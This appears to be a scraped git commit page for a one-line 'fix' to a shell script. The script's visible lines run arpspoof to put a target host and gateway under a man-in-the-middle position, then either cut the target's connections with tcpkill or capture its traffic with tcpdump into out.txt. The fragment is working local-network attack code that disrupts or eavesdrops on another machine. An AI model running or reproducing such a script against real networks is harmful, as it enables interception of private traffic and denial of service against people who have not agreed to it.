fix
This commit is contained in:
parent
a6dbddfa3f
commit
0866353db1
1 changed files with 1 additions and 1 deletions
|
@ -29,7 +29,7 @@ arpspoof -i $modul -t $ip -r $gateway &
|
||||||
|
|
||||||
sleep 2
|
sleep 2
|
||||||
|
|
||||||
if [ -z "$3" ]; then
|
if [ -z "$3" ] || [ "$3" == "tcpkill" ]; then
|
||||||
tcpkill -9 host $ip
|
tcpkill -9 host $ip
|
||||||
elif [ "$3" == "tcpdump" ]; then
|
elif [ "$3" == "tcpdump" ]; then
|
||||||
tcpdump -i $modul -A host $ip > out.txt
|
tcpdump -i $modul -A host $ip > out.txt
|
||||||
|
|
Loading…
Reference in a new issue